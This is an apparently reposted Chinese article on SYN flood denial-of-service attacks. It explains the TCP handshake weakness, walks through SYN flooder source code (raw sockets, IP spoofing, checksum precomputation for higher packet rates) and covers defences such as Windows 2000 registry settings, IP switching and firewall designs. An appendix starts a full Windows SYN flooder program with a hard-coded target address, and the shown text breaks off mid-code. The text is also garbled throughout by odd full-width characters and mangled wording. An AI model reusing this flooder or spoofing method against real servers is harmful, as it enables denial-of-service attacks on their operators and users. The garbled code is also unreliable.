SYNFlood攻擊的基本原理及防御

SYNFlｏod攻擊的基本原理及防御

文章來源：HYPERＬＩNK"ｈttp://shｏtｇun．patｃhｉng。ｎet／syｎ。htm"\t＂_blａnk＂http：／／shｏtgun。patching.nｅt/syn。hｔｍ??第一部分SYNFloｏd的基本原理

???SYNＦlｏod是當前最流行的ＤｏS（拒絕服務攻擊）與DDoS（分布式拒絕服務攻擊）的方式之一,這是一種利用TCＰ協(xié)議缺陷,發(fā)送大量偽造的TCＰ連接懇求,從而使得被攻擊方資源耗盡（CＰＵ滿負荷或內(nèi)存不足）的攻擊方式。??要明白這種攻擊的基本原理,還是要從TCＰ連接建立的過程開頭說起：

?大家都知道，ＴCP與UＤＰ不同，它是基于連接的，也就是說：為了在服務端和客戶端之間傳送TCP數(shù)據(jù),必須先建立一個虛擬電路,也就是TCP連接,建立TＣP連接的標準過程是這樣的：

?首先，懇求端（客戶端)發(fā)送一個包含SYN標志的TCP報文，ＳＹN即同步(Synｃｈronｉze),同步報文會指明客戶端使用的端口以及TCＰ連接的初始序號;

??其次步，服務器在收到客戶端的SＹN報文后，將返回一個SYN+AＣK的報文，表示客戶端的懇求被接受,同時ＴCP序號被加一,ACK即確認(Ａcknowlｅdｇemｅｎt)。

??第三步,客戶端也返回一個確認報文ACK給服務器端，同樣ＴCP序列號被加一,到此一個ＴＣＰ連接完成。

以上的連接過程在TCＰ協(xié)議中被稱為三次握手（Ｔhree－waｙHａndｓhaｋe）。

?

??問題就出在TＣP連接的三次握手中，假設一個用戶向服務器發(fā)送了ＳYN報文后突然死機或掉線,那么服務器在發(fā)出SYN＋ＡCＫ應答報文后是無法收到客戶端的AＣK報文的(第三次握手無法完成），這種情況下服務器端一般會重試(再次發(fā)送ＳＹN＋AＣK給客戶端）并等待一段時間后丟棄這個未完成的連接，這段時間的長度我們稱為SYＮＴimeout，一般來說這個時間是分鐘的數(shù)量級（大約為30秒－2分鐘）；一個用戶消滅特別導致服務器的一個線程等待1分鐘并不是什么很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,服務器端將為了維護一個格外大的半連接列表而消耗格外多的資源-－——數(shù)以萬計的半連接，即使是簡潔的保存并遍歷也會消耗格外多的CＰU時間和內(nèi)存,何況還要不斷對這個列表中的IＰ進行SYＮ+ACＫ的重試。實際上如果服務器的ＴＣP／IP棧不夠強大,最后的結(jié)果往往是堆棧溢出崩潰－--即使服務器端的系統(tǒng)足夠強大,服務器端也將忙于處理攻擊者偽造的ＴCＰ連接懇求而無暇理睬客戶的正常懇求（畢竟客戶端的正常懇求比率格外之?。?此時從正常客戶的角度看來,服務器失去響應，這種情況我們稱作：服務器端受到了SYNＦlood攻擊(SYN洪水攻擊)。

?

??從防御角度來說，有幾種簡潔的解決方法,第一種是縮短SYNTｉmeｏut時間，由于ＳＹNＦｌood攻擊的效果取決于服務器上保持的SYＮ半連接數(shù)，這個值＝SYN攻擊的頻度x

SＹNＴimeｏuｔ，所以通過縮短從接收到SＹＮ報文到確定這個報文無效并丟棄改連接的時間，例如設置為2０秒以下（過低的SYＮTｉｍeout設置可能會影響客戶的正常訪問）,可以成倍的降低服務器的負荷。??

其次種方法是設置SYＮＣｏokｉe，就是給每一個懇求連接的ＩＰ地址安排一個Cookie,如果短時間內(nèi)連續(xù)受到某個ＩP的重復ＳYＮ報文，就認定是受到了攻擊，以后從這個IP地址來的包會被一概丟棄.

?

可是上述的兩種方法只能應付比較原始的SYNＦlooｄ攻擊，縮短ＳYＮTimeout時間僅在對方攻擊頻度不高的情況下生效，SYＮＣoｏkｉｅ更依靠于對方使用真實的ＩP地址，如果攻擊者以數(shù)萬/秒的速度發(fā)送SＹN報文,同時利用SOCK_RAW隨機改寫ＩP報文中的源地址，以上的方法將毫無用武之地。??

?

??

??

??

??

??

其次部份SYＮFloｏdｅr源碼解讀

?

?

下面我們來分析SYNFloｏdｅr的程序?qū)崿F(xiàn)。??首先，我們來看一下ＴＣP報文的格式：??

?０

1

２

3

４

5

6?

０２４680２4６8024６８0２４6８02468０２46８024??

＋—+—+—+－+－＋－+-+—＋—+—+—+－+-＋－+—＋—+-＋—+-+—+-＋－＋—＋－+-＋-+－＋—+-+-+－＋—+?

|

ＩＰ首部

｜

TCＰ首部

｜

ＴCP數(shù)據(jù)段

｜??+－+－+－+-+-＋—+—+—+－+－+－＋－＋—+—+—＋－+-＋-+－+—＋－＋—+-+-+－＋－＋-＋—＋—+-+-+—+

?

圖一TCP報文結(jié)構(gòu)

??

??如上圖所示，一個ＴCP報文由三個部分構(gòu)成：２0字節(jié)的IP首部、２0字節(jié)的ＴCP首部與不定長的數(shù)據(jù)段，（實際操作時可能會有可選的IＰ選項，這種情況下ＴCＰ首部向后順延)由于我們只是發(fā)送一個ＳYＮ信號，并不傳遞任何數(shù)據(jù),所以TCP數(shù)據(jù)段為空.TCＰ首部的數(shù)據(jù)結(jié)構(gòu)為：

??

0

１

2

3

??

0１2３4567８9０１234567８９01２345６789012??

+—+—+—+－+－＋-＋－＋-+－＋—+—+—＋-+-+—+-+—+-+—＋－＋—＋－＋－＋－+-+—+—+-＋—+—+—＋－＋??

｜

十六位源端口號

｜

十六位目標端口號

|

?

＋—+—＋－＋-+－+—＋—+-＋—＋－+－+－+-+—+-+－＋—＋-+—+-＋—+－+－+－+-＋—+-+-+—+－+-+-+??

|

三十二位序列號

|??

＋—＋－+-＋－+－+—+—+—+-+-+-＋—＋－+－+—+—+—+-＋－+－＋－＋—＋－＋－+－＋－＋－+—+—+-+－＋－＋??

｜

三十二位確認號

|

?

＋—＋—+－＋－+－+-+-+—+-+－+-＋－＋-+-+-+－＋-+—+—＋—＋—+—+-＋-+—+—+-+－+－+-＋－+—+??

|四位

｜

｜U｜A｜Ｐ|R|Ｓ｜Ｆ｜

|??

｜首部

|六位保留位|Ｒ|C|Ｓ|S｜Y|I|

十六位窗口大小

｜

?

|長度

｜

|Ｇ｜K|H｜T｜N｜Ｎ|

｜??

＋－＋－+－+－+-+—+-＋-+-+—＋—＋-+-＋-+－+-＋－+—＋-＋—＋－＋—+—+-+—+－+－+－＋－+－＋－+—+??

｜

十六位校驗和

｜

十六位緊急指針

|??

+-+－＋-＋－+－＋-＋-+—+-+-+-+-＋-+-+—+－+－＋－+—+－+-+—＋－＋－+—＋-+-+—+-+－+—+－+

?

｜

選項(若有）

｜??

+—+—＋—+—＋－+-+—+－＋-＋—+-+—＋-＋—+-+—+－＋－+－+－＋－+－+－＋—+-+—+—+—+－+－+-+-+??

|

數(shù)據(jù)(若有）

｜??

+—＋—+-+-+－＋－+—+-+—+-+-+-+-＋-+—＋－+-+-＋-+-+－+—+—＋—+-+-+—+-+－+—＋-+-+??

圖二

TCP首部結(jié)構(gòu)

??

??依據(jù)TCP報文格式,我們定義一個結(jié)構(gòu)ＴCP_HEＡDER用來存放TCP首部：??ｔypedeｆsｔrｕct_tcpｈｄr

??｛??

USHORＴtｈ_spoｒt；

//１６位源端口??

ＵＳＨＯＲＴｔh_dpｏrt；

/／16位目的端口??

uｎsigneｄiｎｔｔh_seq;

//32位序列號??

ｕｎsignｅdiｎtth_ａck;

//32位確認號

?

ｕnｓignedchaｒtｈ_lenreｓ;

／／4位首部長度+6位保留字中的４位??

unsigｎedｃｈarth_flａｇ；

／/２位保留字＋6位標志位??

UＳＨＯRＴｔh＿wｉn;

//１6位窗口大小?

ＵSHORＴtｈ_sum;

//16位校驗和??

USＨＯRTth_urp;

／/１6位緊急數(shù)據(jù)偏移量

?｝TCＰ_HＥAＤＥＲ;

?通過以正確的數(shù)據(jù)填充這個結(jié)構(gòu)并將TCP_HEADER.tｈ_flaｇ賦值為2（二進制的00000０1０）我們能制造一個SYN的TCP報文,通過大量發(fā)送這個報文可以實現(xiàn)SＹNFｌood的效果.但是為了進行IP哄騙從而隱藏自己,也為了躲避服務器的SYNCｏoｋｉｅ檢查，還需要直接對IＰ首部進行操作:?

０

1

２

３

0１2345６7８90１234５6789012３４5６７８９0１２

?

+－+－+-+-＋-＋－＋-＋－+－+-+-＋—＋—＋-+—＋—＋－+—+－＋-＋-＋-＋-+－+—＋-+—+－+-+－+-＋—+??

|版本

｜長度

｜八位服務類型

|

十六位總長度

｜

?

+－+-+-+－+—＋－+-+—+－＋—＋-+—+-+—+－+－+-+-+－+－+-+—+—+－＋-+—＋－＋－+－＋-+—＋-＋??

｜

十六位標識

｜標志｜

十三位片偏移

|

?

＋-＋—+—＋-+-+-＋—+－+-+-＋－＋—+—+—＋-+—＋－+—+-+-+—＋—+—+—+－+-+—＋—＋-＋-+—+－+??

｜八位生存時間

|

八位協(xié)議

｜

十六位首部校驗和

｜

?

+－+－＋-＋－+－+-＋－+-+-＋-+-+-+－+—+－+-+-+－＋—+-+—＋—+—+—＋—+－+－+-+－＋—+-+-+

?

|

三十二位源IP地址

|??

+—＋－+—+－+－＋-+-＋－+－+－+-+－＋-+-+-+—+-+—+—+－＋－+－+—+—+—+—+-+-+－＋—+－＋—＋??

｜

三十二位目的IＰ地址

|??

＋－+-＋-＋-＋－+—+—＋—+—+－＋-+-+－+—＋－＋-＋-+—+—+—+—+－+－+-+—+—＋—＋—+-＋-+—+-+

?

|

選項（若有）

|??

＋—+—+—+—+—+—+-+—＋—＋—+—+—+-+-+－+－+-+-+—+－+—＋－+—+－+－+-＋-＋—+-＋—＋—+-+??

|

數(shù)據(jù)

｜

?

+-+-+－＋-+—+—+－+-＋－+－+-+-＋-+—+-+-+-＋-+—+-+-+-＋-+—+—+－＋-+—＋－+—+-+—+?

圖三

ＩP首部結(jié)構(gòu)??同樣定義一個IＰ＿HEADER來存放ＩＰ首部

?tｙｐedｅｆｓtruct_ｉｐｈdｒ??｛??

ｕｎsigneｄcharh_verlｅn；

／/４位首部長度+4位IP版本號??

unｓiｇnedcharｔoｓ；

//８位服務類型TOＳ??

unｓｉｇnedｓhoｒttｏtaｌ＿leｎ；

/／1６位總長度（字節(jié))??

ｕnsｉｇnedsｈortｉdｅnt;

//16位標識

uｎｓigｎedｓｈoｒｔfｒaｇ_ａｎd_ｆlａgs；

／/３位標志位?

unsignedchar

ｔtl；

//8位生存時間ＴＴＬ?

unsigｎｅdcｈaｒpｒoto；

//８位協(xié)議號（TCP，ＵＤP或其他)??

uｎｓigｎedshortｃhecｋｓuｍ；

//16位IP首部校驗和??

ｕnsignedｉntsourceＩＰ；

//３2位源IP地址??

unｓiｇnedinｔdesｔIP;

//32位目的IＰ地址

?}IP＿HEADER;??然后通過SockＲａw=WSASocket（AF_IＮET,SＯCＫ_RAＷ,IPPRＯＴO_RAＷ,NUＬL,０,WSA_ＦLAＧ_OＶERLＡPＰED））；??

建立一個原始套接口，由于我們的ＩP源地址是偽造的,所以不能指望系統(tǒng)幫我們計算IP校驗和,我們得在在ｓeｔsockｏpt中設置IP_HＤＲINCＬ告知系統(tǒng)自己填充ＩP首部并自己計算校驗和:??

flag=ＴＲＵE；?

seｔsockopt(SockRaw，IPPROTＯ_IP，IP＿ＨDRINCＬ,（cｈａｒ＊）＆flａg,siｚeｏf（ｉｎt)）；

?ＩP校驗和的計算方法是:首先將IＰ首部的校驗和字段設為0(IP_HEAＤER．cｈｅcｋsum＝０），然后計算整個IＰ首部（包括選項)的二進制反碼的和,一個標準的校驗和函數(shù)如下所示:??USHORＴcｈｅcksum（ＵＳＨORT＊bufｆeｒ，inｔｓｉze)??｛

??unsigｎｅdloｎｇcｋｓuｍ=0；??

ｗhile（size>1）｛

?

ｃｋｓｕm＋=＊ｂuffｅｒ＋＋；??

sｉze-=siｚeof(USHORＴ);??

｝??

if（sｉze）ckｓum+=*(ＵCHAR*)bｕｆｆeｒ;??

cｋsum=(cksuｍ＞>１6)+（ｃｋsｕm&０xffff）;??

cksｕm+=（ｃksuｍ〉＞16);??

rｅｔurn(USHOＲT）（~ｃｋｓｕm);?

｝??這個函數(shù)并沒有經(jīng)過任何的優(yōu)化,由于校驗和函數(shù)是ＴＣP/IP協(xié)議中被調(diào)用最多函數(shù)之一,所以一般說來,在實現(xiàn)TＣＰ/IＰ棧時，會依據(jù)操作系統(tǒng)對校驗和函數(shù)進行優(yōu)化。

TCP首部檢驗和與ＩP首部校驗和的計算方法相同，在程序中使用同一個函數(shù)來計算。??需要注意的是,由于TＣＰ首部中不包含源地址與目標地址等信息，為了保證TCP校驗的有效性，在進行ＴCP校驗和的計算時,需要增加一個TＣP偽首部的校驗和，定義如下：??ｓｔruct

??｛?

unsｉgnｅdｌｏngｓａｄｄr;

//源地址??

ｕnsiｇneｄloｎｇｄａｄdr;

／／目的地址

?

chaｒｍbz；

//置空??

ｃharptcl；

／/協(xié)議類型??

ｕnｓignｅｄshorttｃpl；

//ＴCＰ長度??}pｓd_headeｒ；??然后我們將這兩個字段復制到同一個緩沖區(qū)SｅｎdＢuf中并計算TCP校驗和：

?mｅｍcpy（SenｄBuf，＆psd_heaｄer,siｚeof（psｄ_headeｒ)）；

memcｐｙ（ＳeｎｄＢuf+ｓｉzeoｆ(psd_hｅａder),＆tcp_heａder,sizeoｆ(tcp＿header)）;??

ｔｃp_ｈeａdeｒ.th＿sum=checksｕm(（UＳＨOＲT＊）SeｎdBuｆ,sizｅoｆ(ｐｓd_ｈeadeｒ）＋sizeoｆ(ｔcp_hｅaｄer))；??計算IP校驗和的時候不需要包括TCP偽首部:

mｅｍｃpy（ＳeｎdＢｕf，&iｐ＿heａder,siｚｅｏｆ（ｉp_ｈeaｄer））；??

meｍｃpｙ（SendBuｆ＋sｉzｅof(ip＿ｈeaｄer）,＆tcｐ_heaｄeｒ,ｓｉzeoｆ（tcｐ_hｅａdeｒ）)；

?

ip_heａdeｒ。checksum=checksum（(ＵＳHORＴ*）ＳｅnｄBuｆ，sｉzｅｏf(ip_headｅr）＋sizｅof（tｃｐ＿hｅａdｅｒ))；?

再將計算過校驗和的IP首部與ＴCP首部復制到同一個緩沖區(qū)中就可以直接發(fā)送了：??

memcpy(ＳｅｎdBｕｆ，&ｉｐ_hｅaｄeｒ，sizeof（iｐ＿header））；

ｓeｎｄtｏ(SｏckＲａw，SeｎｄＢｕｆ，daｔａsize,0，(sｔrucｔsocｋadｄr＊）&DestAddｒ，sizｅof（DeｓtAddr)）;

?

??由于整個TCP報文中的全部部分都是我們自己寫入的(操作系統(tǒng)不會做任何干涉）,所以我們可以在ＩP首部中放置隨機的源IP地址,如果偽造的源IP地址確實有人使用，他在接收到服務器的ＳＹN＋ACK報文后會發(fā)送一個RＳT報文（標志位為00000１0０），通知服務器端不需要等待一個無效的連接，可是如果這個偽造IＰ并沒有綁定在任何的主機上，不會有任何設備去通知主機該連接是無效的（這正是ＴＣP協(xié)議的缺陷），主機將不斷重試直到SYNTimeｏut時間后才能丟棄這個無效的半連接。所以當攻擊者使用主機分布很稀疏的ＩP地址段進行偽裝IP的ＳYNFloｏｄ攻擊時，服務器主機承受的負荷會相當?shù)母?依據(jù)測試,一臺ＰIIＩ550MＨz+128ＭB+１00Mbps的機器使用經(jīng)過初步優(yōu)化的SYＮＦlooder程序可以以16,0００包/秒的速度發(fā)送ＴＣＰSYN報文，這樣的攻擊力已經(jīng)足以拖垮大部分ＷEB服務器了。

?

略微動動腦筋我們就會發(fā)現(xiàn)，想對SYNFｌooder程序進行優(yōu)化是很簡潔的，從程序構(gòu)架來看，攻擊時循環(huán)內(nèi)的代碼主要是進行校驗和計算與緩沖區(qū)的填充，一般的思路是提高校驗和計算的速度,我甚至見過用匯編代碼編寫的校驗和函數(shù)，實際上，有另外一個變通的方法可以輕松實現(xiàn)優(yōu)化而又不需要高深的編程技巧和數(shù)學知識，(狡猾說吧，我數(shù)學比較差：P），我們仔細討論了兩個不同源地址的ＴCPＳＹN報文后發(fā)現(xiàn)，兩個報文的大部分字段相同(比如目的地址、協(xié)議等等），只有源地址和校驗和不同（如果為了隱蔽，源端口也可以有變化，但是并不影響我們算法優(yōu)化的思路）,如果我們事先計算好大量的源地址與校驗和的對應關(guān)系表（如果其他的字段有變化也可以加入這個表），等計算完畢了攻擊程序就只需要單純的組合緩沖區(qū)并發(fā)送(用指針來直接操作緩沖區(qū)的特定位置，從事先計算好的對應關(guān)系表中讀出數(shù)據(jù),替換緩沖區(qū)相應字段）,這種簡潔的工作完全取決于系統(tǒng)發(fā)送IＰ包的速度,與程序的效率沒有任何關(guān)系,這樣,即使是ＣPU主頻較低的主機也能快速的發(fā)送大量ＴCＰＳＹN攻擊包。如果考慮到緩沖區(qū)拼接的時間，甚至可以定義一個很大的緩沖區(qū)數(shù)組，填充完畢后再發(fā)送(雛鷹給這種方法想了一個很貼切的比方：火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以后就可以連續(xù)猛烈地放射了:）.

?

??

?

?

??

??第三部分SYＮFlｏod攻擊的監(jiān)測與防御初探??

對于ＳYNFｌｏod攻擊,目前尚沒有很好的監(jiān)測和防御方法，不過如果系統(tǒng)管理員熟識攻擊方法和系統(tǒng)架構(gòu),通過一系列的設定，也能從肯定程度上降低被攻擊系統(tǒng)的負荷，減輕負面的影響。(這正是我撰寫本文的主要目的)??

一般來說,如果一個系統(tǒng)（或主機）負荷突然上升甚至失去響應，使用Netsｔａt(yī)命令能看到大量SＹＮ_RCVＤ的半連接(數(shù)量>５00或占總連接數(shù)的10％以上)，可以認定,這個系統(tǒng)(或主機）遭到了ＳＹNＦlooｄ攻擊.??

遭到SＹＮFloｏd攻擊后，首先要做的是取證,通過Ｎeｔstat–ｎ–ｐtcp〉reｓａult。txt記錄目前全部TCP連接狀態(tài)是必要的，如果有嗅探器，或者TcpＤｕmp之類的工具，記錄ＴＣPSYN報文的全部細節(jié)也有助于以后追查和防御，需要記錄的字段有：源地址、IP首部中的標識、ＴCP首部中的序列號、TTL值等,這些信息雖然很可能是攻擊者偽造的，但是用來分析攻擊者的心理狀態(tài)和攻擊程序也不無幫助。格外是TＴL值，如果大量的攻擊包似乎來自不同的ＩP但是TＴL值卻相同，我們往往能推斷出攻擊者與我們之間的路由器距離，至少也可以通過過濾特定TTL值的報文降低被攻擊系統(tǒng)的負荷（在這種情況下TＴL值與攻擊報文不同的用戶就可以恢復正常訪問）

前面曾經(jīng)提到可以通過縮短SYNTimeout時間和設置SYNCoｏkｉe來進行SYN攻擊保護，對于Ｗｉｎ2０00系統(tǒng)，還可以通過修改注冊表降低SＹＮFｌoｏd的危害,在注冊表中作如下改動:??首先，打開regedｉt,找到HＫEＹ＿ＬOＣAL_ＭACHＩＮE\Sｙｓtｅｍ\ＣurrｅntCｏnｔrolSｅt\Seｒviｃes＼Tcpｉp\Ｐａrameteｒs

??增加一個SyｎＡttackPｒoｔect的鍵值，類型為ＲEＧ＿ＤWＯRD，取值范圍是0-2，這個值決定了系統(tǒng)受到SＹＮ攻擊時實行的保護措施,包括削減系統(tǒng)SYN+ＡCK的重試的次數(shù)等，默認值是0（沒有任何保護措施），推舉設置是2；

??增加一個TｃpMaxHａｌｆOpen的鍵值,類型為REG＿ＤWOＲD,取值范圍是１00－０xFFFF,這個值是系統(tǒng)允許同時打開的半連接,默認情況下ＷIN２ＫPRO和SERVＥR是1０0,ＡDＶＡNＣEＤSERＶER是500,這個值很難確定，取決于服務器TCP負荷的狀況和可能受到的攻擊強度,簡略的值需要經(jīng)過試驗才能決定.

?

增加一個TｃｐMaxHａlfＯpenRｅｔｒiｅd的鍵值，類型為RＥＧ_DWＯRD，取值范圍是8０—0xFFFF，默認情況下WIN2KPRO和ＳEＲVEＲ是8０，ADＶANCＥＤSERVEＲ是４00，這個值決定了在什么情況下系統(tǒng)會打開ＳYN攻擊保護.

??

我們來分析一下Ｗin2000的ＳＹN攻擊保護機制：正常情況下，Ｗｉn2Ｋ對TCP連接的三次握手有一個常規(guī)的設置,包括SYNTｉmｅｏｕｔ時間、SYN—ACK的重試次數(shù)和SYN報文從路由器到系統(tǒng)再到Winsｏｃk的延時等,這個常規(guī)設置是針對系統(tǒng)性能進行優(yōu)化的(平安和性能往往相互沖突）所以可以給用戶供應便利快捷的服務；一旦服務器受到攻擊,ＳYN半連接的數(shù)量超過TｃpＭａxHalｆOｐenRetrｉed的設置,系統(tǒng)會認為自己受到了SＹNＦｌood攻擊,此時設置在SｙnAttａcｋProｔect鍵值中的選項開頭作用，SＹNＴimeｏuｔ時間被減短,SYN－ACK的重試次數(shù)削減，系統(tǒng)也會自動對緩沖區(qū)中的報文進行延時，避開對ＴCP/IP堆棧造成過大的沖擊,力圖將攻擊危害減到最低；如果攻擊強度不斷增大,超過了TｃｐMａxHaｌfＯｐen值，此時系統(tǒng)已經(jīng)不能供應正常的服務了，更重要的是保證系統(tǒng)不會崩潰,所以系統(tǒng)將會丟棄任何超出ＴｃpMａxＨalｆOpen值范圍的ＳYN報文（應該是使用隨機丟包策略),保證系統(tǒng)的穩(wěn)定性.

??

所以，對于需要進行SYN攻擊保護的系統(tǒng),我們可以測試/猜測一下訪問峰值時期的半連接打開量,以其作為參考設定ＴcｐMaxＨａlfＯｐｅnRｅｔriｅd的值（保留肯定的余量），然后再以TcpＭaｘHaｌｆＯpｅnRetｒiｅd的1。25倍作為TcpＭaｘHａlfOpｅｎ值，這樣可以最大限度地發(fā)揮WIＮ2K自身的ＳＹＮ攻擊保護機制。

??

通過設置注冊表防御SＹNＦｌoｏｄ攻擊,采納的是“挨打”的策略，無論系統(tǒng)如何強大，始終不能光靠挨打支撐下去,除了挨打之外，“退讓”也是一種比較有效的方法。

??

退讓策略是基于ＳＹＮＦｌood攻擊代碼的一個缺陷,我們重新來分析一下SYNＦlｏod攻擊者的流程：SYＮFlood程序有兩種攻擊方式，基于IＰ的和基于域名的,前者是攻擊者自己進行域名解析并將ＩP地址傳遞給攻擊程序，后者是攻擊程序自動進行域名解析,但是它們有一點是相同的，就是一旦攻擊開頭，將不會再進行域名解析，我們的切入點正是這里：假設一臺服務器在受到SYNFlｏod攻擊后飛快更換自己的IＰ地址,那么攻擊者仍在不斷攻擊的只是一個空的IP地址,并沒有任何主機,而防御方只要將DNS解析更改到新的IP地址就能在很短的時間內(nèi)(取決于DNＳ的刷新時間）恢復用戶通過域名進行的正常訪問。為了迷惑攻擊者，我們甚至可以放置一臺“犧牲"服務器讓攻擊者滿意于攻擊的“效果”（由于DＮS緩沖的緣由，只要攻擊者的掃瞄器不重起，他訪問的仍然是原先的IＰ地址)。

??

同樣的緣由,在眾多的負載均衡架構(gòu)中，基于DNS解析的負載均衡本身就擁有對SＹNFloｏｄ的免疫力，基于DNS解析的負載均衡能將用戶的懇求安排到不同ＩP的服務器主機上,攻擊者攻擊的永久只是其中一臺服務器，雖然說攻擊者也能不斷去進行DNS懇求從而打破這種“退讓”策略，但是一來這樣增加了攻擊者的成本，二來過多的ＤＮＳ懇求可以幫助我們追查攻擊者的真正蹤跡（DNＳ懇求不同于ＳＹＮ攻擊,是需要返回數(shù)據(jù)的,所以很難進行ＩP偽裝)。

??

??

對于防火墻來說,防御SYＮFlｏｏｄ攻擊的方法取決于防火墻工作的基本原理，一般說來,防火墻可以工作在TＣP層之上或ＩP層之下，工作在TCP層之上的防火墻稱為網(wǎng)關(guān)型防火墻，網(wǎng)關(guān)型防火墻與服務器、客戶機之間的關(guān)系如下圖所示：

??

??外部TＣP連接

內(nèi)部TCP連接

??

[客戶機]＝======＝=＝=======>［防火墻］====＝======＝=====〉[服務器］

??

?

如上圖所示，客戶機與服務器之間并沒有真正的TCP連接，客戶機與服務器之間的全部數(shù)據(jù)交換都是通過防火墻代理的,外部的ＤNS解析也同樣指向防火墻,所以如果網(wǎng)站被攻擊，真正受到攻擊的是防火墻,這種防火墻的優(yōu)點是穩(wěn)定性好，抗打擊能力強，但是由于全部的TCＰ報文都需要經(jīng)過防火墻轉(zhuǎn)發(fā)，所以效率比較低由于客戶機并不直接與服務器建立連接，在TCＰ連接沒有完成時防火墻不會去向后臺的服務器建立新的TＣP連接,所以攻擊者無法越過防火墻直接攻擊后臺服務器，只要防火墻本身做的足夠強壯,這種架構(gòu)可以抵抗相當強度的SYNＦlｏoｄ攻擊。但是由于防火墻實際建立的ＴＣP連接數(shù)為用戶連接數(shù)的兩倍(防火墻兩端都需要建立TＣP連接）,同時又代理了全部的來自客戶端的TCP懇求和數(shù)據(jù)傳送，在系統(tǒng)訪問量較大時,防火墻自身的負荷會比較高,所以這種架構(gòu)并不能適用于大型網(wǎng)站.(我感覺,對于這樣的防火墻架構(gòu),使用TCP＿ＳＴATＥ攻擊估量會相當有效:）

??

工作在IP層或ＩＰ層之下的防火墻（路由型防火墻）工作原理有所不同，它與服務器、客戶機的關(guān)系如下圖所示：

［防火墻]數(shù)據(jù)包修改轉(zhuǎn)發(fā)

??

[客戶機］＝==＝＝＝＝=|=＝==＝＝＝＝====＝==＝＝======〉[服務器]

??TCP連接

??

??

客戶機直接與服務器進行ＴCＰ連接，防火墻起的是路由器的作用，它截獲全部通過的包并進行過濾，通過過濾的包被轉(zhuǎn)發(fā)給服務器，外部的DＮS解析也直接指向服務器，這種防火墻的優(yōu)點是效率高，可以適應1００Ｍｂｐs-1Gｂps的流量，但是這種防火墻如果配置不當,不僅可以讓攻擊者越過防火墻直接攻擊內(nèi)部服務器，甚至有可能放大攻擊的強度,導致整個系統(tǒng)崩潰。

?

在這兩種基本模型之外,有一種新的防火墻模型，我個人認為還是比較奇妙的，它集中了兩種防火墻的優(yōu)勢，這種防火墻的工作原理如下所示：

?

第一階段，客戶機懇求與防火墻建立連接：

??SYN

SYN＋ACＫ

ACK

??

[客戶機］—－-－〉[防火墻］

=〉

［防火墻］－—-—-—-->[客戶機］

=〉

［客戶機］－——>［防火墻］

??

其次階段,防火墻偽裝成客戶機與后臺的服務器建立連接

?

[防火墻]<＝======＝＝＝＝〉［服務器］

?

ＴＣＰ連接

?

??

第三階段,之后全部從客戶機來的TCP報文防火墻都直接轉(zhuǎn)發(fā)給后臺的服務器

?防火墻轉(zhuǎn)發(fā)

?［客戶機]＜===＝=＝｜====＝==>［服務器]

?

TCP連接

??

這種結(jié)構(gòu)吸取了上兩種防火墻的優(yōu)點,既能完全掌握全部的ＳYN報文，又不需要對全部的TＣP數(shù)據(jù)報文進行代理，是一種兩全其美的方法。

??近來,國外和國內(nèi)的一些防火墻廠商開頭討論帶寬掌握技術(shù)，如果能真正做到嚴格掌握、安排帶寬，就能很大程度上防御絕大多數(shù)的拒絕服務攻擊,我們還是拭目以待吧.

??

??附錄：Win200０下的ＳＹNFlｏod程序

?改編自Ｌinｕｘ下Ｚａkath編寫的SＹNFｌooder

?編譯環(huán)境：VC++6．0，編譯時需要包含ws2_32．lｉb?

/／///／／///////／////／//／/／／/／////////／///／／/／/／//／//／／///／/／////////／/／／／//

?／/

/／?

/／

SＹNFlｏodｅrＦｏｒWｉｎ2ＫbyShoｔｇun

/／??//

／/

?／/

THISＰROGRAMISMＯＤIＦIEDFROMALIＮUXＶEＲSＩＯNBYZａkａt(yī)h

//

?/／

THANXLionHookＦＯRＰROGRAMOPＴＩMIＺＡＴIＯN

//??//

／／

?//

Ｒeleasｅd：

［2001。４]

／/?

//

Author:

［Ｓｈotgun]

/／

?//

Hｏｍeｐａｇｅ:

／/

?/／

［ＨYＰＥRＬINK\t＂_blａnk＂htｔp://ＩT.Xici.Net］

/／?

//

［HYPERLＩNＫ＼t”＿blａnk"ｈttp:／/WＷW．Ｐatchｉｎg．Neｔ］

//??／/

//

?//／//////////／//／/／／///／／／////／／／／//／/／/／//／/／/／//／／//////／//／／///////////?

#ｉncｌｕde＜wｉnsock２.h〉?

#ｉncｌudｅ〈Ｗｓ2tcｐｉp.h〉

#ｉnclｕｄｅ＜stｄio．ｈ〉?

#inｃludｅ<ｓtdlｉｂ。h〉??＃defineSEQ0x28376839?

＃defineＳYＮ_ＤEＳT＿IＰ”1９２.１68．１5。２5０”//被攻擊的IＰ??＃defineFAＫE_ＩＰ＂10．１68.1５0．1"

//偽裝IP的起始值，本程序的偽裝ＩP掩蓋一個Ｂ類網(wǎng)段??＃defｉｎｅSＴＡＴUS＿FAILＥD0xFFFF

/／錯誤返回值

?

??typeｄｅfｓtruct_iphｄｒ

/／定義ＩP首部?

{

?

unsignｅdcｈaｒh_vｅrlen；

//4位首部長度,4位ＩP版本號?

unsigｎedchartｏs；

/／８位服務類型TOS??

unｓigｎｅdshｏｒtｔoｔａl_lｅｎ;

／/1６位總長度(字節(jié)）??

unｓigｎｅdshｏrtident;

/／１6位標識??

ｕｎsｉgnedｓhoｒtｆrag＿anｄ＿fｌａｇｓ;

//3位標志位??

unsｉgnｅdchar

ttl;

／／８位生存時間ＴTL??

unｓｉｇnedchaｒproto;

/／8位協(xié)議(TCP,UＤP或其他）??

uｎsiｇneｄsｈｏrtcheｃksum;

/／１６位ＩＰ首部校驗和??

ｕnsiｇnｅsourcｅIP;

／/32位源IP地址

?

uｎsｉｇnedｉｎtdestIP；

／／３2位目的IＰ地址??}IP_HEADER；?

??stｒuct

//定義TCP偽首部

?｛??

ｕｎｓignedlｏngsaddr;

／/源地址?

unsignedlｏｎgdadｄr;

//目的地址?

charmbｚ;??

charptcl;

／/協(xié)議類型??

ｕnｓｉｇｎedｓｈorttcｐl；

/／ＴＣＰ長度??｝psd＿hｅader；?

??typeｄefstruct_tcｐhdｒ

／／定義TCP首部

?{??

USHＯＲTｔh＿sport；

/／16位源端口??

ＵＳＨＯＲTｔh_ｄport；

/／16位目的端口

?

uｎsｉｇnedｉnttｈ＿sｅq；

／/32位序列號?

unｓignｅｄiｎｔtｈ＿ａcｋ；

//3２位確認號??

unｓigneｄchaｒth_ｌenｒes；

//4位首部長度／６位保留字?

unsｉgnedcｈａrtｈ_fｌag;

/／6位標志位??

USHORTtｈ_ｗin；

//1６位窗口大小

?

ＵSHORTｔh＿sｕｍ;

//１6位校驗和

?

